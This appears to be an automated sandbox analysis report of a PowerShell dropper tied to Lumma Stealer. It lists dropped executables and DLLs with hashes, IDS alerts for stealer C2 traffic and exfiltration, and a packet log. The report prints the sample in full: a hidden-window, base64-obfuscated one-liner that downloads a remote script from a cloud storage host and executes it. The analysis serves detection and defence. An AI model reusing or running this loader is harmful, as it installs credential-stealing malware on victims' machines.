Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."..........h.......z.........@..............................0.......0...`.........................................>9#......9#.d.....)..l...@(.....HF/.h....P0..&....#.8.....................#.(...@...8............A#......*#......................text............................... ..`.rdata.../.......0..................@..@.data....<....$.......#.............@....pdata.......@(......~'.............@..@.gxfg....3... )..4...X(.............@..@.retplne.....`).......(..................tls....1....p).......(.............@....voltbl.D.....).......(.................CPADinfo8.....).......(.............@...LZMADEC.......).......(............. ..`_RDATA........).......(.............@..@malloc_h......).......(............. ..`.rsrc....l....)..n....(.............@..@.reloc...&...P0..(..../.............@..B........................................................

C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29152
Entropy (8bit):	6.656857622778623
Encrypted:	false
SSDEEP:	768:+yq82Ud7/zfkn8I+ilpd4TILqIgXYoBCH/3hprl:Zq824LfMV4TqqIgXYoBCH/3hpB
MD5:	B6F6C3C38568EE26F1AC70411A822405
SHA1:	5B94D0ADAC4DF2D7179C378750C4E3417231125F
SHA-256:	A73454C7FAD23A80A3F6540AFDB64FC334980A11402569F1986AA39995AE496D
SHA-512:	5C0A5E9A623A942AFF9D58D6E7A23B7D2BBA6A4155824AA8BB94DBD069A8C15C00DF48F12224622EFCD5042B6847C8FB476C43390E9E576C42EFC22E3C02A122
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y...=...=...=....`.?...#.e.?...#.c.<...#.r.?.......8...=...f...#.u.$...#.b.<...#.g.<...Rich=...................PE..L......I................."...(......a,.......@....@..................................u......................................lB..P....p..@............N...#...........................................A..@............@..x............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data........P.......0..............@....rsrc...@....p.......<..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\FeGIPCnK\UpdateClient.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	65856
Entropy (8bit):	6.253138341040912
Encrypted:	false
SSDEEP:	1536:DyvHa8En7WFlzobIrmKD8owRaggg5TIcO3YDmj7Hx4:DyvHa8EnKFqKD8aK0jj6
MD5:	760F24F0150A6E8DC15AC793C3172387
SHA1:	920D5AAFB4B460EFC37B99564BD281E63C7EB647
SHA-256:	E113F8593244C1BB5BCC73FEF0F93303C783714162CBD9EF93DDFF5709C037CE
SHA-512:	E5251075164F9CDB154B0B5BF7B775C9720B0744D004B68CE6501A980342F45398505BC26F7CCA982BD23A03609B3C78510A5778A93041E7614E17B369A7209F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. .......................@.......p....@.................................t...J.......................@'... ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......l....`..............`...........................................V. 0u..}........(......"..(.......6..(....(.......0..;.......s......s.......(.......,..o......o........,..o.......(.........................#).......0..;.......s......s.......(.......,..o......o........,..o.......(.........................#).......0..;.......s......s.......o.......,..o......o........,..o.......(.........................#).......0..B.......s......s.......o......o.......,..o......o...

C:\Users\user\AppData\Roaming\FeGIPCnK\UpdateCommon.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	146752
Entropy (8bit):	6.209702529084155
Encrypted:	false
SSDEEP:	3072:8zWwFkpFMOKq9hC3ZWU+Oq1hZ+fVztxQ0rzc0to734o:s/zq9huqrZ+dbQIz1o
MD5:	985F25C1D3144F37F046BC8F3E2B0C83
SHA1:	C0B551C51317891D8220AB5A634C15ACF8223E88
SHA-256:	3F71FA4C64376E85486B22DE926F61C3E3CDE3DE6C1D484E041F265534CCD623
SHA-512:	B0DB2C878948922243CC80AB015A954B11C5E08FCE7DBE767722BC5082B150F277690ACF9DA1C657837E7A66059CAFA7BA76C3695BBA51B44467979F5A9C053B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................-... ...@....@.. ..............................g"....@..................................-..J....@..................@'...`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H........................................................................0..E........(......(......(......~....%-.&~..........s....%.....(...+(...+(.......z..~.....?(....(....o....(......0...........(......~.....l(....(....o....(....(......~.....}(....(....o....(....(.....(....( ...,..~.... ....(....(.....~.... ....(....(....o!.....s"...(.....,5.o#....+..o$.....(.....s....o%....o&...-....,..o'.............$.........{...."..}.........{...."..}....*.....(....~....%-.&~...

C:\Users\user\AppData\Roaming\FeGIPCnK\config.prx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	373656
Entropy (8bit):	5.747099794440249
Encrypted:	false
SSDEEP:	3072:rbT9vTZFNSlIbVf7o3Cyi7igb/Js0S6uZZspiDbZHNjWOnNxFiKey1ISQlXflY:fRvNvvbhOq7F3S/qpiDlNCONvmXdY
MD5:	14934CACA84D5FE0288F27EFB31DCBF8
SHA1:	98C8C659488A5782679112E0FFB089422A664AC5
SHA-256:	7FA86147035627BAE39576BCBE619D045E94A48C4DB8CA131968C20BB4DE4A36
SHA-512:	9A239132A46FE578FA04FF727D8C28F9E1D179E7154619670A22A403819F337AF0A96EBD7081D04D53910A12BBDC548B3CD2B2A285931C92F1C149AD5D846A6A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................".....".......Q....R....D....C....T.......r...M....S....V....Rich............................PE..L.....b`.....................t....................@..................................X....@.................................${..\|...................`...S...P...)...................................=..@...............P............................text...$........................... ..`.rdata.............................@..@.data...............................@....rsrc..............................@..@.reloc..nD...P...F..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\FeGIPCnK\msvcr90.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	653952
Entropy (8bit):	6.885961951552677
Encrypted:	false
SSDEEP:	12288:5hr4UC+Ju/A0BI4yWkoGKJwZ9axKmhYTMAO7wFKjCUmRyyPe:9JfyZFGKJjxKmhSMAB6CUmRyyPe
MD5:	11D49148A302DE4104DED6A92B78B0ED
SHA1:	FD58A091B39ED52611ADE20A782EF58AC33012AF
SHA-256:	CEB0947D898BC2A55A50F092F5ED3F7BE64AC1CD4661022EEFD3EDD4029213B0
SHA-512:	FDC43B3EE38F7BEB2375C953A29DB8BCF66B73B78CCC04B147E26108F3B650C0A431B276853BB8E08167D34A8CC9C6B7918DAEF9EBC0A4833B1534C5AFAC75E4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................6.........!.R...7.....&.....0.....6.....3...Rich..........PE..L.....i[...........!.....\..........@-.......p....Rx.........................0......?T....@..............................\|..P...(................................3......................................@............................................text...t[.......\.................. ..`.data....g...p...D...`..............@....rsrc...............................@..@.reloc...7.......8..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\FeGIPCnK\python27.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14191200
Entropy (8bit):	7.9262695020755505
Encrypted:	false
SSDEEP:	393216:W1pU8xeUOhMFCBURDP4RSLkcswLqLibwonZ14tb:Wr7rCBURqcTXconZ1Ab
MD5:	77B8F54C99903633175BF2EE83B93089
SHA1:	F8A7C2D280464EA887F95295670D1A3C78146519
SHA-256:	09F7868EB0D7629399F54934AE930314358845C9929D973B05F6C1CCA7C67A9E
SHA-512:	54D618060571517317F5A6020D79A0E693D499AC865C2A031B5F7AFCCE0EBF75F3610C42F807FEA0FC0B7852F0B119EABE80E317EC7CB181B90B90C202A09BBB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...x..^...........!.................E5.......................................w......a9...@..........................B..\|....K.x....pw..............j..` ....w.....................................`aw.@...............,............................text...z........................... ..`.rdata...D..........................@..@.data...pC....!.....................@..._COF0.....v..@(..................... ..`_COF1...D...........................@..._COF2....R.......T.................. ..`.rsrc........pw......Z..............@..@.reloc........w......b..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\FeGIPCnK\vstji

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9926
Entropy (8bit):	6.601683018009094
Encrypted:	false
SSDEEP:	192:bcCThv4kMUxkMSwJZ8JewGJ6PlKeVsXmWl97ZHaaRbdn2OYvFDE84BRP:vThvYMSwJZ+GJ6PMtWWX16ab29Kb
MD5:	0780B1687F4B818A6CCA3CAF57B0D062
SHA1:	49B0E39A452F956F640F185CF396D31E8E8E8A39
SHA-256:	9E7AEA9FBA017E367B8FD3B188F6AFEF0197F89036FA35420729F19048C6FF2D
SHA-512:	8B002C586B73D4AF5A5DAAE512C2B096C4A061BC69AD3750C930D6429FA75C947BD7305A25A9378BEE236C1028914E91B9111A7D735B9D029E2FE7063562CB00
Malicious:	false
Preview:	..V..`........LyQQ.c..m]....PW.pZRh.`.a..Nv.Y.i.mx.x..R.Vja.y.d.L.u........N...k.Sh.U..V.K.tQ.klyO.jlu..C.a..hgE.od....g\v..PCHu.l..I.R..SB...\xu..A.\B.li.v..Xe.QOxLP....NElW....Eb.BD...Hs..v..TNyK...g..]D^b.v.vDMU.^m..Z..s.U_t.....r.e...l.Z....y...itf.Bg....g....C]qcp_.o..sw.H....j]QXTsjPiL.[w.n^...SrQf.X.d...k^YllAAL.r.nQ...JJbn.N...R..B.Sa..CV.mp.`P....rv.....T..O..kQ...B...sk..H.....i.m.I..aI......w.bJA...Pt...B.g._..ov....v.p.liS..hGIG.gBNZ.xf...ET.f...S.Q.ZS...q..oXn..Ds.q.C..y.wF^A..k...y.....SjV...py._riT..mx.M.g.qe....J...mNuOtS......t.NNeX.u...qQ.g.[kEP..jm.^P..l..G...b.Zr\Dg.MfV..kJ..k.`kyQnw.o.LE............yJ..me.r......Tx..y...U...R...F..r...]ty..BV.......dXO..RA.V...K..S.TK..YIhQmqu\...GGG..X...YEMwx[..I.wg.NjA...kLox..MYg..q..U^M..rr...Y...h.._..Uu.b....K.i..W..]..N...e..e.LB...l..VDW[..E....]g.[q.IwW.`b...F...WVO.Y..xt..`...sd]B..L....s.RLk....r.T._..wB.q.....PG..Bc..s...u.Cf..^b..yD.[.xcc^...NQq..b.....t...Lut.P...j...m..`ms..r.....C...Dm....N..n._psKuIavuTOOmHtJkR..w

C:\Users\user\AppData\Roaming\FeGIPCnK\ylqv

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	986746
Entropy (8bit):	7.867918664785953
Encrypted:	false
SSDEEP:	24576:bfMR7mqnsKaQ+RFiZhbvisb4E5aJZNFCPxmO8al:YR7mqn+RFATiF9NFCpms
MD5:	CF297F837262C0FBD5AD028C39A53B62
SHA1:	B6B54C0476C1F4168B829A9A475888BAF3B14012
SHA-256:	4CBDB194C720BC44A5B234FAAA03925EE9566DE6D814D9124DFA6767B41E03CB
SHA-512:	283D2B15A5F317910A5EB5BB74604894E3F36DD907254D98F26C2130A770B552DE6631AFD2D820DE0A9EA069643F19BC86884D719C0F8DFA4B1394FF7880D10B
Malicious:	false
Preview:	.R..FV...U_.fQpjF.pSZ..\n....dXO......UZU..L.U.....K..p.....E.t.S...er..L..v.XE..j.ie.TaQS.D.._.yw...o.Q.w.m...SU......gd.\XyQ.....p...R..ux.Ch.E.U.hT.gOi.JqBM..t...qLqe..`......K..HG.[].m....R.w..wFe.....^iMQ.Mbmi......o.C[...y.w..G..HM..UO..y.D..d.Lro.sW......J.Z[..yTY.........y...f.w.iYulDcV.xIm.l.gcQ.F.o.._`R.j.WM....^Rjh.......U.yj.g..K..L.G..]S..]NPV...Oo.L.V......k..gA..p..S..Q.P..H`V.e.T...DwR.....s..K.Yp._f...s.RE..l.n.....PO.sNt.IM.i.....argDt.D.._.......w.B..w.wj...O.....d.C..r.]fp..j..pB......`g......UH.n.FIEM.x\f.Dcyx...l..kX.TWRP..ne.tA..WTM.NFI..OP.i..Kp.W...S...gT.a...RJ..Sar.f....M.D[...YH...`n.p.y.Im.c..TT..d..hiO.Bi.a^.n...KUP.oeJW.JoQspIJET`..`..wS..^.MQ.R.Tpou.d...^P..[oB...B.V.D..tBv....uYDpw.C.S..QN.EX...F.....s......[.e...Uq..h.`.h....T....[.....c.DXj_S..t]...WU..E.Bl.i.l..V....P[..J..^.L.Rx.A..i`..H.]...[.jou......P.eG..VDKh.LLN....Q.g....Yv.iN.fx.ITl.aR..Om..GDm........Rn.jD.qYU....by.XtMErXi.......W.krpNK....\..T..Z....pP.T...sCx..g.t.hvrLZm.F........L...vmN.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7068784427160923
Encrypted:	false
SSDEEP:	48:1h/NdUCebU2K+PbukvhkvklCywBn2NWnkclzJSogZo0tWnkcl/JSogZog1:1VXUCboykvhkvCCtcKkcuHXKkcyHv
MD5:	D7AA40F219ED2266AB46A34DA757367B
SHA1:	9968FF4263A2F458CFB948D7ADFACD73AC98A0E9
SHA-256:	3AFA322BE6407A6AB60C6AE51466E7EFAEF372BB675FDDBDA9246882FF2BA467
SHA-512:	41D4CC1EABC3023A208711685AC3CAB03FFEACD3F837B816A35E47D4149E3C2070863210874FB4291A5C374769100527F31B8C216035C32716CC09515AC82145
Malicious:	false
Preview:	...................................FL..................F.".. ...d......P..DmB..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M......O@mB...5.DmB......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl}Y.u....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....}Y.u..Roaming.@......DWSl}Y.u....C.......................5.R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl}Y.u....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl}Y.u....E......................c.W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl}Y.u....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl}Y.u....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSl}Y.u....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y9LMOFXRWBLN25KN9U0I.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7068784427160923
Encrypted:	false
SSDEEP:	48:1h/NdUCebU2K+PbukvhkvklCywBn2NWnkclzJSogZo0tWnkcl/JSogZog1:1VXUCboykvhkvCCtcKkcuHXKkcyHv
MD5:	D7AA40F219ED2266AB46A34DA757367B
SHA1:	9968FF4263A2F458CFB948D7ADFACD73AC98A0E9
SHA-256:	3AFA322BE6407A6AB60C6AE51466E7EFAEF372BB675FDDBDA9246882FF2BA467
SHA-512:	41D4CC1EABC3023A208711685AC3CAB03FFEACD3F837B816A35E47D4149E3C2070863210874FB4291A5C374769100527F31B8C216035C32716CC09515AC82145
Malicious:	false
Preview:	...................................FL..................F.".. ...d......P..DmB..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M......O@mB...5.DmB......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl}Y.u....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....}Y.u..Roaming.@......DWSl}Y.u....C.......................5.R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl}Y.u....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl}Y.u....E......................c.W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl}Y.u....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl}Y.u....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSl}Y.u....q...........

C:\Users\user\AppData\Roaming\tGQPJYHH.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	26901385
Entropy (8bit):	7.998829610207703
Encrypted:	true
SSDEEP:	786432:p3iBqL0gkrPWCd+qT7ubG1T6wJpRIMWo2:p3iBqIgW1/v4GB33co2
MD5:	EC9A1F58F7AACE01D209AADB3C0254FF
SHA1:	7E1706C415E58142E9F1EBE5C90466D8EF3F878F
SHA-256:	B63C17FD0F3122BDF59A2C444D54D54ECD1A866B5A4581F237043E541C1AABB8
SHA-512:	027C1011AF4E2685920E95F53063F56673BA370305DD2B9D764023F4A277FF2D90721A8016693D3121AA143FC4E3EAC9553BFE43329454A79A074B0A383AB7AA
Malicious:	false
Preview:	PK.........6zY^0.t(x..`.......python27.dll..g\.O.6./$.. .Pi...$.Q..........w.@.B.(.......H/. ....P.(.h..P.@.Y..i.s.{.....r......3.\...s... 2..q.....@....7\|B.p(..@.Uk..u......l.~.....w...n...v.v.1.,..g.f.a.L..G.!~...3..d^].......@.....[..k......+.p.?.>...;..K..a=.e..g..\|. " .......U_.....8....{..=0.?...Fh......A...u.......:...%.G..#.@.K..../~...<.oZ.....1.....?..}}<....].^......p..%...V.!.1....D8O.f.../.!..u\|T.6.....4......`.F.~`._ZC.@F5........= .4....6.O.\|.............z.....d..[...~..'..nA....?..s.&.E.. ........D1"W...P.5Ml...2D#...I.. 8_nI.........d$.V.8.ep..P &f.1..wb.M..$.6!fBZ.N4....jL.D.g.p.._.J.S.m.c.K}.#m......0.>...(.`.'PQJ....7<+.....W.~..X.....`.1U.R..,....A.nt...z.%c.0n..P..>.....%.g....P....ybn..>/..Bp!M)kO....m..K!..av.Gq%....%.?.r.#H...........Z.jh.0..34].5.nO.6q/Z.k?....UP+tB.L&.z.y.R.....z3.b9.%...E.<A".\.C...i...*..9..!-... .?......p.. .....`9d=....%...:.....a.....TS.;Z..;.k.-...K.ra...nY.....%.....7.w

Static File Info

General

File type:	ASCII text, with no line terminators
Entropy (8bit):	5.824445516798351
TrID:
File name:	file.ps1
File size:	225 bytes
MD5:	c74ad6efc80928621318fb9d1253cd17
SHA1:	c9d41799c3df2706a5c59191093192e5dc6ab042
SHA256:	9103bed7236428941596f3084b43f72582f53f310647ade5eff3a79bfd73e4dc
SHA512:	9b808c6fa27d067aa6987affa9f3b4cc8ea99369ee69dafd524e18673cb84d15742a78a157f0cc46076816a62aae638833e2fff236c0cd31c90d197f37188c5d
SSDEEP:	6:4NlFPJKBM3S1RpTCsu2xKtBQN82mjW2csV3yKAz9NfMF/H:AfBaIS1fC26qmj7cslyKAz9NfE/H
TLSH:	89D0A7C064A46C564958158487589C78A3272091657A6998C34EFB564D892E85D8DB84
File Content Preview:	pOweRshELl -w hIdDeN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vc2FuZGlzazIub3NzLWFwLW5vcnRoZWFzdC0yLmFsaXl1bmNzLmNvbS9iVUFtQ2F6Yy50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) \| iex"

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-29T15:47:13.580422+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49929	172.67.170.85	443	TCP
2024-11-29T15:47:16.244797+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49929	172.67.170.85	443	TCP
2024-11-29T15:47:16.244797+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49929	172.67.170.85	443	TCP
2024-11-29T15:47:17.761768+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49939	172.67.170.85	443	TCP
2024-11-29T15:47:20.415011+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49939	172.67.170.85	443	TCP
2024-11-29T15:47:20.415011+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49939	172.67.170.85	443	TCP
2024-11-29T15:47:22.061923+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49949	172.67.170.85	443	TCP
2024-11-29T15:47:26.297441+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49957	172.67.170.85	443	TCP
2024-11-29T15:47:30.438985+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49968	172.67.170.85	443	TCP
2024-11-29T15:47:35.654094+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49979	172.67.170.85	443	TCP
2024-11-29T15:47:38.907707+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49979	172.67.170.85	443	TCP
2024-11-29T15:47:40.763948+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49982	172.67.170.85	443	TCP
2024-11-29T15:47:46.910763+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49983	172.67.170.85	443	TCP
2024-11-29T15:47:49.550806+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49983	172.67.170.85	443	TCP
2024-11-29T15:47:51.091221+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49984	104.26.3.16	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2024 15:45:05.219254017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:05.219290018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:05.219361067 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:05.234849930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:05.234865904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:07.639622927 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:07.639792919 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:07.641244888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:07.641293049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:07.645298004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:07.645313025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:07.645720959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:07.656723022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:07.703325987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.473803043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.473833084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.473859072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.473885059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.473916054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.473929882 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.473958969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.528120041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.528152943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.528249025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.528270960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.528316975 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.723947048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.723979950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.724075079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.724100113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.724123955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.724144936 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.773032904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.773053885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.773125887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.773144960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.773185015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.815079927 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.815100908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.815181971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.815198898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.815238953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.925772905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.925837040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.925936937 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.925965071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.925982952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.926012039 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.983726978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.983789921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.983907938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.983916044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:08.983946085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:08.983963966 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.000193119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.000240088 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.000346899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.000366926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.000382900 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.000406981 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.016654015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.016696930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.016748905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.016757965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.016788960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.016803026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.030910015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.030955076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:09.030989885 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:09.030999899 CET	443	49704	149.129.12.34	192.168.2.5
